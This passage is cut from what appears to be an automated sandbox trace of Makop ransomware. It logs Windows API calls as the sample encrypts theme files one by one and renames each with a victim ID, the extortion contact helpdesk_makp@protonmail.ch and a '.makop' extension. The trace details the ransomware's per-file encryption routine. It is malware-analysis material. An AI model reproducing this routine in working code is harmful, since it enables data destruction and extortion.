(in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0100.734] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.735] CloseHandle (hObject=0xf0) returned 1 [0100.735] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER", cAlternateFileName="")) returned 1 [0100.735] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER") returned 61 [0100.735] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*") returned 65 [0100.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0100.736] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.736] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0100.736] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0100.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.737] GetProcessHeap () returned 0x48a0000 [0100.737] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.737] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.737] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.737] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.742] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.742] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.742] GetProcessHeap () returned 0x48a0000 [0100.742] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.742] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.742] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.743] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.743] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.743] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.743] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.743] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.743] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.744] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.744] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.744] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.744] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa6c, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xa6c, lpOverlapped=0x0) returned 1 [0100.744] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xa70, dwBufLen=0xa70 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xa70) returned 1 [0100.744] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.744] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xa70, lpOverlapped=0x0) returned 1 [0100.744] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.744] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xb44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.745] SetEndOfFile (hFile=0x138) returned 1 [0100.752] GetProcessHeap () returned 0x48a0000 [0100.752] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.752] GetProcessHeap () returned 0x48a0000 [0100.752] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.752] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0100.752] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.754] CloseHandle (hObject=0x138) returned 1 [0100.754] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0100.754] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0100.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.755] GetProcessHeap () returned 0x48a0000 [0100.755] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.755] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.755] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.755] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xb, lpOverlapped=0x0) returned 1 [0100.760] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.760] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.760] GetProcessHeap () returned 0x48a0000 [0100.760] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.760] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.760] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.760] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.760] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.760] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.761] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.761] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.761] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.761] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.761] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.761] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.761] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa5d5, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xa5d5, lpOverlapped=0x0) returned 1 [0100.763] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xa5e0, dwBufLen=0xa5e0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xa5e0) returned 1 [0100.764] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.764] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa5e0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xa5e0, lpOverlapped=0x0) returned 1 [0100.765] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.765] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xa6b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.765] SetEndOfFile (hFile=0x138) returned 1 [0100.772] GetProcessHeap () returned 0x48a0000 [0100.772] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.772] GetProcessHeap () returned 0x48a0000 [0100.772] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.772] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0100.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.777] CloseHandle (hObject=0x138) returned 1 [0100.777] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 1 [0100.777] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM") returned 71 [0100.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.779] GetProcessHeap () returned 0x48a0000 [0100.779] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.779] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.779] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.780] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.784] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.784] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.784] GetProcessHeap () returned 0x48a0000 [0100.784] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0100.784] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0100.784] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.784] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0100.784] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.784] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.785] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.785] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.785] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.785] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.785] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.785] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.785] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x101cc, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x101cc, lpOverlapped=0x0) returned 1 [0100.788] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x101d0, dwBufLen=0x101d0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x101d0) returned 1 [0100.788] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.788] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x101d0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x101d0, lpOverlapped=0x0) returned 1 [0100.789] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.789] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x10294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.789] SetEndOfFile (hFile=0x138) returned 1 [0100.797] GetProcessHeap () returned 0x48a0000 [0100.797] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0100.797] GetProcessHeap () returned 0x48a0000 [0100.797] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.797] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 118 [0100.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.798] CloseHandle (hObject=0x138) returned 1 [0100.799] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1 [0100.799] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned 71 [0100.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.801] GetProcessHeap () returned 0x48a0000 [0100.801] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.801] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.801] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.802] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xf, lpOverlapped=0x0) returned 1 [0100.806] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.806] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.806] GetProcessHeap () returned 0x48a0000 [0100.806] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0100.806] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0100.806] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.806] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0100.806] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.807] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.807] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.807] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, 